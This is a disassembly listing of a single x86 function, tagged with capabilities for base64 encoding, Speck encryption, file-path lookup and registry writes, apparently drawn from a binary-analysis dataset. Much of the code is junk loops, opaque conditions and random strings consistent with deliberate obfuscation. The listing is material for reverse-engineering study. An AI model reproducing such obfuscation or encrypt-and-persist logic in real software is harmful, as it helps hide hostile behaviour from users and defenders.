Function at 0x1001f137
Capabilities:
Encode data using base64
Encrypt data using speck
Get common file path
Set registry value

Disassembly:
mov eax, 0x100606bc
call fcn.1005f648
sub esp, 0x730
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x37c]
mov dword [ebp - 0x18c], 0xca4f833f
push 3
call fcn.100017ce
push 0x2860
lea eax, [ebp - 0x37c]
xor ebx, ebx
push eax
push ecx
push ecx
lea eax, [ebp - 0x278]
mov dword [ebp - 4], ebx
push eax
push 0x38d1
push ecx
xor dl, dl
call fcn.1001bceb
add esp, 0x1c
cmp dword [ebp - 0x18c], ebx
je 0x1001f1a2
mov dword [ebp - 0x28], 0xffffffff
inc dword [ebp - 0x28]
jmp 0x1001f213
lea eax, [ebp - 0x37c]
mov dword [ebp - 0x1a0], 0xfffffff9
push eax
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x330], 0xffffffff
push eax
lea eax, [ebp - 0x330]
mov dword [ebp - 0x340], 0xffffffff
push eax
sub esp, 0xc
lea eax, [ebp - 0x18c]
lea edx, [ebp - 0x340]
xor cl, cl
push 0x13c2
push eax
call fcn.1001e980
push 1
lea eax, [ebp - 0x37c]
mov edx, 0x419
push eax
lea eax, [ebp - 0x1a0]
push eax
push 0x4f1
call fcn.1001c5b7
add esp, 0x30
push 1
push 0x6334
push 0x58e5
push 1
push 1
lea eax, [ebp - 0x9d]
mov byte [ebp - 0x9d], bl
push eax
push 0x7d03
mov edx, 0xf52
mov ecx, 0xc4d
call fcn.1001c737
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x37c]
add esp, 0x1c
call fcn.10001830
mov eax, dword [0x1007f558]
test al, 1
jne 0x1001f293
or eax, 1
mov dword [0x1007f558], eax
mov dword [ebp - 4], 1
mov dword [0x1007f578], ebx
mov dword [0x1007f57c], ebx
call fcn.100242f5
push 0x1006141f
mov dword [0x1007f578], eax
call fcn.10047728
or dword [ebp - 4], 0xffffffff
pop ecx
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x1001f2b7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf8], 0xfff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001f2a6
mov dword [ebp - 0x1c], 0x12
jmp 0x1001f2ce
cmp dword [ebp - 0x1c], ebx
jne 0x1001f2d4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1a
jne 0x1001f2c6
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 1
jg 0x1001f420
mov dword [ebp - 0x28], 0x6751
cmp dword [ebp - 0x28], 0x685b
jle 0x1001f33a
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x66c]
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f313
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x66c]
call fcn.10005baf
inc edi
cmp edi, 0x147
jl 0x1001f2f5
inc esi
cmp esi, 0xfb6
jl 0x1001f2f3
mov dword [ebp - 0x18], 0xfffffffc
cmp dword [ebp - 0x28], 0x6528
jge 0x1001f355
push str.lxodovfzt_joui_nlpltrxv_uyjqr_thp_ppbxjvhs_cjj_skt_wcxrcphze_mpo_hhqkrfsp
call fcn.10047752
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], 0x267e
mov dword [ebp - 0x30], 0xae215169
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf8], ecx
mov dword [ebp - 0x18], ebx
jmp 0x1001f40e
mov dword [ebp - 0x40], 0x8716
mov dword [ebp - 0x3c], 0x5db2b058
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xf8], ebx
jne 0x1001f418
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0xf8]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xf8]
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x30]
je 0x1001f406
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xf8], ebx
je 0x1001f406
xor eax, eax
inc eax
jmp 0x1001f408
mov eax, ebx
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jle 0x1001f383
inc dword [ebp - 0x1c]
jmp 0x1001f2d7
cmp byte [0x1007f498], 0
je 0x1001f4f5
push dword [ebp - 0x278]
movdqa xmm0, xmmword [0x1006e500]
lea eax, [ebp - 0x584]
push eax
lea eax, [ebp - 0x594]
mov dword [ebp - 0x1f0], ebx
push eax
push ebx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1ec], ebx
movdqu xmmword [ebp - 0x594], xmm0
mov dword [ebp - 0x1e8], ebx
call fcn.100018ed
mov dword [ebp - 4], 4
mov dword [ebp - 0xa4], 0xcb50bf34
mov dword [ebp - 0xa4], ebx
jmp 0x1001f4be
push 0x7ea1
push 0x1528
lea eax, [ebp - 0xa4]
mov edx, 0x7bbf
push eax
lea eax, [ebp - 0x1f0]
xor cl, cl
push eax
push 1
push ebx
call fcn.1001e3c0
mov eax, dword [ebp - 0xa4]
add esp, 0x18
inc dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 3
jle 0x1001f488
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], 0
je 0x1001f4e5
push ecx
push ebx
push 0x783d
push ecx
mov ecx, 0xfb6
call fcn.1001b2ba
add esp, 0x10
lea ecx, [ebp - 0x1f0]
call fcn.10001830
jmp 0x10022b44
mov dword [ebp - 0x38], 0x2d9a
cmp dword [ebp - 0x38], 0x2eee
jle 0x1001f55a
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
lea eax, [esi + edi]
shl eax, cl
mov ecx, 0x1007ba38
and eax, ebx
cdq
push edx
push eax
call fcn.10005547
mov ecx, dword [ebp - 0x28]
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x3ed2
jl 0x1001f514
inc esi
push 0
pop ebx
cmp esi, 0x35cc
jl 0x1001f50c
inc edi
cmp edi, 0x40bc
jl 0x1001f50a
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x63de
jl 0x1001f508
mov dword [ebp - 0x2f0], 0xfffffff7
lea ecx, [ebp - 0x490]
push 2
call fcn.100017ce
push ebx
push 0xb7c
lea eax, [ebp - 0x1a8]
mov dword [ebp - 4], 5
push 0x3614
mov dword [ebp - 0x348], 0xbf90350d
lea edx, [ebp - 0x490]
push eax
call fcn.1001c5b7
add esp, 0xc
mov byte [ebp - 0xa5], bl
lea edx, [ebp - 0xa5]
push 1
push ecx
mov ecx, 0x4967
call fcn.1001cadb
add esp, 0xc
lea eax, [ebp - 0x490]
xor dl, dl
lea ecx, [ebp - 0x348]
push 0x490f
push 0x1f0d
push 1
push 0x5bf6
push 0x1a69
push eax
push 0x6beb
lea eax, [ebp - 0x2f0]
push eax
push 0xb12
push 0x53d1
push 1
push 0x4ac8
push 0x2753
call fcn.1001d360
add esp, 0x34
lea ecx, [ebp - 0x490]
call fcn.10001830
mov dword [ebp - 4], 6
cmp dword [ebp - 0x38], 0x2c9c
jge 0x1001f637
mov edx, str.livdythoh_xoyab_pdvqzc
mov ecx, 0x1007ba38
call fcn.100078f4
or dword [ebp - 4], 0xffffffff
push 0x46a2
push 1
push ebx
push 0x939
push 0x28b2
push 0x4899
mov edx, 0x2e06
mov byte [0x1007f498], 1
mov cl, 1
call fcn.1001ab1b
movdqa xmm0, xmmword [0x1006e500]
lea eax, [ebp - 0x5d4]
add esp, 0x18
mov dword [ebp - 0x108], 0x10078b00
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x200], ebx
movdqu xmmword [ebp - 0x5e4], xmm0
mov dword [ebp - 0x1fc], ebx
push dword [ebp - 0x1a8]
mov dword [ebp - 0x1f8], ebx
push eax
lea eax, [ebp - 0x5e4]
push eax
push ebx
call fcn.100018ed
push 8
pop edi
push 0x60ea
push 0x7f5c
push 0x7f43
push 0x68fb
push ebx
push 0x6128
push 0x647a
push ebx
lea eax, [ebp - 0x28c]
mov dword [ebp - 4], edi
push 0x573
mov dword [ebp - 0x28c], 0xcb50bf34
lea ecx, [ebp - 0x200]
push eax
mov dl, 1
call fcn.1001e2e7
add esp, 0x28
push 1
push ecx
push ecx
push 0x6f70
mov ecx, 0x1da7
call fcn.1001cb21
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x200]
add esp, 0x10
call fcn.10001830
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], 0
je 0x1001f752
push ecx
push 0x1cad
mov dl, 1
mov ecx, 0x26e8
call fcn.1001cb68
pop ecx
pop ecx
mov dword [ebp - 0x18], 0xfffffff0
jmp 0x1001f7bd
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x2b4], 0xffff
push eax
push ecx
push 0x77ec
push 0x6014
push ebx
push 0x35f1
push ecx
push 0x78ca
mov edx, 0x651a
mov ecx, 0x549d
call fcn.1001afb3
add esp, 0x20
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff6
jl 0x1001f780
push 0xc
pop esi
cmp esi, 0xe0
jge 0x1001fa2b
mov dword [ebp - 0x1c], 0xb57fd546
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1001f8ca
mov dword [ebp - 0x2c], 0x9dfc
xor edx, edx
mov dword [ebp - 0x40], 0x5f5f
mov dword [ebp - 0x18], 0xcc424770
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x370], 0xfffffffc
mov dword [ebp - 0x36c], 0xfffffffc
mov dword [ebp - 0x368], 0xfffffffc
mov dword [ebp - 0x364], 0xfffffffc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], edx
xor edx, edx
cmp dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp eax, edx
setg cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x368]
dec dword [ebp - 0x368]
test eax, eax
je 0x1001f88a
cmp dword [ebp - 0x370], ebx
je 0x1001f88a
xor eax, eax
inc eax
jmp 0x1001f88c
mov eax, ebx
cmp dword [ebp - 0x18], eax
je 0x1001f894
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, edi
sub ecx, eax
add ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x2c], ebx
jne 0x1001f8c1
cmp dword [ebp - 0x20], ebx
jne 0x1001f8c1
mov eax, ebx
jmp 0x1001f8c4
xor eax, eax
inc eax
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x1d
jle 0x1001f7e8
mov ecx, dword [ebp - 0x108]
mov al, byte [ecx]
cmp al, byte [esi + ecx]
je 0x1001f8e7
inc esi
jmp 0x1001f7c6
mov dword [ebp - 0x124], esi
mov dword [ebp - 0x20], 0x5c73
cmp dword [ebp - 0x20], 0x5f3a
jle 0x1001f989
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x38], 0xd0a
mov dword [ebp - 0x2c], eax
mov esi, ebx
mov edi, eax
mov dword [ebp - 0x28], 0x68b6
mov eax, edi
lea ecx, [ebp - 0x720]
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f935
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x720]
call fcn.10005baf
add edi, esi
dec dword [ebp - 0x28]
jne 0x1001f91b
mov eax, dword [ebp - 0x2c]
dec esi
cmp esi, 0xffff8885
jg 0x1001f912
mov edi, dword [ebp - 0x18]
add eax, edi
dec dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
jne 0x1001f910
inc edi
mov dword [ebp - 0x18], edi
cmp edi, 0x3902
jl 0x1001f904
push 0x3ace
push 0x2df4
call fcn.1003e4fd
pop ecx
pop ecx
call eax
push dword [ebp - 0x1a8]
movdqa xmm0, xmmword [str.hJhJhJhJ]
lea eax, [ebp - 0x594]
push eax
lea eax, [ebp - 0x5a4]
mov dword [ebp - 0x210], ebx
push eax
push ebx
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x20c], ebx
movdqu xmmword [ebp - 0x5a4], xmm0
mov dword [ebp - 0x208], ebx
call fcn.100018ed
cmp dword [ebp - 0x20], 0x58bc
jge 0x1001f9df
push str.pbrz_ihyg_hfcvqjbx_sesawnok_wkiatjrm_gtot_adydukml_bbsrln_wfwhn_rqfg_zszjgu_pxj_jjtexlkp
call fcn.10047752
pop ecx
push 0x2c8c
push ebx
mov dword [ebp - 4], 9
lea edx, [ebp - 0x6d]
mov eax, dword [ebp - 0x210]
mov cl, 1
push 1
push 0x3df8
push 0x61ac
mov dword [eax], ebx
mov dword [ebp - 0x44], 0x610a1434
push 0x5c6a
mov byte [ebp - 0x6d], bl
call fcn.1001ab1b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x210]
add esp, 0x18
call fcn.10001830
mov dword [ebp - 0x18], 0xbeccce1e
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x28], 0x3e64f147
push 1
call fcn.100017ce
push ecx
push 1
push ecx
lea edx, [ebp - 0xd0]
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x3a0]
call fcn.1001cfae
add esp, 0xc
mov dword [ebp - 0xd0], ebx
jmp 0x1001fa84
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x600], 0x91208373
inc dword [ebp - 0xd0]
cmp dword [ebp - 0xd0], 3
jl 0x1001fa6d
cmp dword [ebp - 0x18], ebx
jne 0x1001faa6
mov dword [ebp - 0x28], 0xfffc
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
jl 0x1001faa6
xor esi, esi
inc esi
jmp 0x1001faa8
mov esi, ebx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3a0]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3a0]
cmp dword [eax], ecx
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
sub esi, ecx
lea ecx, [ebp - 0x3a0]
mov dword [ebp - 0x5f8], esi
or dword [ebp - 4], 0xffffffff
call fcn.10001830
mov dword [ebp - 0x304], 4
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x44], 0x6a53d06c
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x44], 0x7b1891f7
mov dword [ebp - 0x28], 0x6ccb0362
mov dword [ebp - 0x44], 0xd21dfe4b
mov dword [ebp - 0x44], 0xc93ee327
mov dword [ebp - 0x7c], 0x50db8561
push 2
call fcn.100017ce
lea eax, [ebp - 0x51c]
mov dword [ebp - 4], 0xd
push eax
sub esp, 0x18
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x44], 0x60bc
lea edx, [ebp - 0x1b8]
push 0x432c
push ebx
call fcn.1001b34b
add esp, 0x1c
lea eax, [ebp - 0x7c]
mov edx, 0x89d
push 0x7df5
push eax
push 1
call fcn.1001cbf8
xor eax, eax
mov dword [ebp - 0x7c], ebx
add esp, 0x14
inc eax
jmp 0x1001fc97
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jl 0x1001fc60
push 0x6a5e
sub esp, 0x18
mov dword [ebp - 0x44], 0xffffffff
lea ecx, [ebp - 0x138]
mov edx, 0x56e7
push ecx
push eax
call fcn.1001b34b
mov esi, dword [ebp - 0x20]
add esp, 0x24
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x7c]
sub ecx, eax
mov eax, dword [ebp - 0x1b8]
neg ecx
push 1
sbb ecx, ecx
xor edx, edx
add ecx, 6
cmp dword [eax + esi*4], ecx
mov eax, dword [ebp - 0x40]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1b8]
setle cl
xor edx, edx
cmp ecx, dword [eax + edi*4]
setge dl
xor ecx, ecx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x4d0]
imul edx, dword [ebp - 0x24]
cmp eax, edx
setne cl
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ecx + edx*4]
sub ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax + esi*4], ecx
dec dword [ebp - 0x20]
pop eax
jns 0x1001fbb8
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], 0
je 0x1001fc94
push ecx
push ecx
push 0x552c
push 0x6d06
push 0x6cda
push ecx
mov edx, 0x1389
push eax
push 0x2193
lea ecx, [edx + 0x5d]
call fcn.1001cc1d
xor eax, eax
add esp, 0x20
inc eax
inc dword [ebp - 0x7c]
cmp dword [ebp - 0x7c], eax
jle 0x1001fb8e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b8]
call fcn.10001830
mov dword [ebp - 0x188], 0x10078be0
lea ecx, [ebp - 0x3b8]
mov dword [ebp - 0x2c], 0xc692
mov dword [ebp - 0x1c], 0xfffffff8
push 1
call fcn.100017ce
mov dword [ebp - 4], 0xe
xor ecx, ecx
mov dword [ebp - 0x38], 0x2065c829
inc ecx
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x28], 0x6ed9a830
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0xd4], ebx
jmp 0x1001fd15
mov eax, dword [ebp - 0xd4]
mov dword [ebp + eax*4 - 0x114], ecx
inc dword [ebp - 0xd4]
cmp dword [ebp - 0xd4], ecx
jl 0x1001fd02
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x3b8]
push eax
push ecx
push 0x3303
push 0x4f84
push ecx
push 0x1607
call fcn.1001aa06
add esp, 0x1c
cmp dword [ebp - 0x2c], ebx
je 0x1001fe21
mov dword [ebp - 0x18], 8
xor edx, edx
mov dword [ebp - 0x38], 0xc47d1afd
inc edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x30], 0xc411
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x18], ebx
jmp 0x1001fd96
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x530], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001fd85
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, edx
mov eax, dword [ebp - 0x3b8]
setge cl
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
dec eax
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x30], ebx
jne 0x1001fde1
mov dword [ebp - 0x38], 0x627189e3
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x28]
mov edx, 0x6f05c239
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
jmp 0x1001ffb4
push 2
lea ecx, [ebp - 0x484]
call fcn.100017ce
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x2c], 0xa97cad95
mov dword [ebp - 0x18], 0x9e9da123
mov dword [ebp - 0x30], 0x351f
cmp dword [ebp - 0x30], 0x3801
jle 0x1001fe93
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x1007ba38
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10005547
inc edi
cmp edi, 0x6e7d
jl 0x1001fe54
inc esi
cmp esi, 0x4ada
jl 0x1001fe52
push 0xa03
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push 0x4d5b
lea eax, [ebp - 0x484]
xor dl, dl
push eax
push 1
push 1
lea eax, [ebp - 0x54c]
mov ecx, 0x2edd
push 0x54
push eax
call fcn.1001d1dc
add esp, 0x18
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x30], 0x319b
jge 0x1001fef5
mov edx, str.pyvnecvkz_mdfzpokb_ozp_qoadn_iwcn_mwvgo_sigg_udfs_jlmgsc_nkhz_rhax_rvhfbdcsx_kxt
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x1001fef5
mov dword [ebp - 4], 0xf
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
cmp eax, 4
mov esi, dword [ebp - 0x484]
setne cl
xor eax, eax
cmp ecx, 0xfffffff7
setl al
xor ecx, ecx
cmp eax, dword [esi + 4]
mov eax, dword [ebp - 0x38]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x3b8]
setge dl
sub edx, dword [eax]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x40], edx
xor edx, edx
cmp dword [ebp - 0x40], edx
setg dl
xor ecx, ecx
imul edx, dword [esi + 4]
cmp edx, eax
setle cl
xor edx, edx
cmp ecx, 0x8950
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x114]
cmp edx, eax
setg cl
xor edx, edx
imul ecx, dword [esi + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov ecx, dword [esi + 4]
mov eax, dword [ebp - 0x18]
neg ecx
sub ecx, eax
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0x484]
mov byte [ebp - 4], 0xe
call fcn.10001830
push 0xda0
push ecx
push ecx
push 0x31ff
push ecx
lea eax, [ebp - 0x76]
mov byte [ebp - 0x76], bl
push eax
xor cl, cl
call fcn.1001e74e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3b8]
add esp, 0x18
call fcn.10001830
mov al, byte [0x10078be0]
mov byte [ebp - 0x51], al
mov dword [ebp - 0x20], 0x799040c3
mov dword [ebp - 0x18], 0xff93f8de
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x40], 0xffff
mov dword [ebp - 0x20], ebx
jmp 0x1002001b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbc], 0xb064
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x1002000a
cmp dword [ebp - 0xbc], 0xe90a624c
mov eax, dword [ebp - 0xb8]
sbb ecx, ecx
inc ecx
neg eax
sbb eax, eax
inc eax
add eax, ecx
je 0x10020283
mov dword [ebp - 0x1c], 0xffffffff
xor eax, eax
inc eax
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], eax
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x2c], 0x27e3
cmp dword [ebp - 0x2c], 0x2b94
jle 0x100200ca
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov esi, ebx
mov eax, ebx
mov dword [ebp - 0x38], 0x6e8b
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
xor eax, edi
mov ecx, 0x1007ba38
xor eax, ebx
cdq
push edx
push eax
call fcn.10005547
mov eax, dword [ebp - 0x30]
add eax, esi
dec dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
jne 0x10020089
inc esi
push 0
pop ebx
cmp esi, 0x65d2
jl 0x1002007a
inc edi
cmp edi, 0x456d
jl 0x10020078
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x418d
jl 0x10020076
push 2
lea ecx, [ebp - 0x388]
call fcn.100017ce
mov dword [ebp - 4], 0x12
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x2c], 0x24cf
jge 0x10020118
mov edx, str.spmryjm_bds_yln_jft_ndbyfkb_lulf_zovtk_klxvll
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10020118
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x40], 0xd0c653dd
mov dword [ebp - 0x18], ebx
jmp 0x1002013e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x388]
mov dword [eax + ecx*4], 0xaffa898c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002012b
mov dword [ebp - 0x30], 0x256b
cmp dword [ebp - 0x30], 0x2821
jle 0x10020196
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov edi, ebx
mov ebx, dword [ebp - 0x28]
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1007ba38
and eax, ebx
cdq
push edx
push eax
call fcn.10005547
inc edi
cmp edi, 0x14fe
jl 0x1002015e
inc esi
push 0
pop ebx
cmp esi, 0x52ef
jl 0x10020159
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x6ea7
jl 0x10020157
cmp dword [ebp - 0xb8], ebx
jne 0x10020223
mov eax, dword [ebp - 0xb8]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb8]
cmp eax, ecx
mov ecx, 0x2f3f6085
setge dl
mov dword [ebp - 0x20], edx
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xbc]
sub ecx, eax
mov eax, dword [ebp - 0xb8]
cmp ecx, eax
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
setle dl
add ecx, edx
xor edx, edx
cmp ecx, eax
setg dl
mov dword [ebp - 0x4fc], edx
mov eax, dword [ebp - 0x1c]
lea ecx, [edx + 1]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x388]
setg dl
mov dword [eax], edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x388]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x30], 0x24bc
jge 0x10020274
mov edx, str.xyytj_aya_xyynk_eqlkvfyao_sue_azqvnzeum
mov ecx, 0x1007ba38
call fcn.100078f4
jmp 0x10020274
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x388]
jmp 0x100203a6
push 3
lea ecx, [ebp - 0x424]
call fcn.100017ce
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x30], 0xbdec7e1e
mov dword [ebp - 0x20], ebx
jmp 0x100202b6
